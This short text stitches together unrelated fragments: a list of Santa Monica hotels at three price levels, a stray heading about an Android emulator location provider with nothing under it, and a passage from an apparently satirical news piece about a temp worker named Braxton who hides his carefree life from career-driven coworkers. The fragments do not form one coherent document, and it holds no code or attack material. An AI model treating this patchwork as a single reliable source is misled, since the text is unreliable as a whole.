- Budget: HI Los Angeles - Santa Monica - $32 / night
- Comfortable: Foghorn Harbor Inn
- Luxury: Loews Santa Monica


Android Emulator Location Provider
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In his efforts to hide his happy, fulfilling life from his coworkers, Braxton has even resorted to lying.
"Just yesterday, somebody asked me about my last temp job," Braxton said. "It ended in May, but I told them it ended in June. See, after it ended, I took about a month off and just kind of dicked around, traveling around Europe until my money ran out. I knew not to mention that to people who won't be able to do anything like that until they're 65."
Though Braxton said he sympathizes with his coworkers, he added that the decision to pursue a prestigious, high-paying career path was entirely their own.
"They wanted to go for the brass ring and really live the good life," Braxton said.


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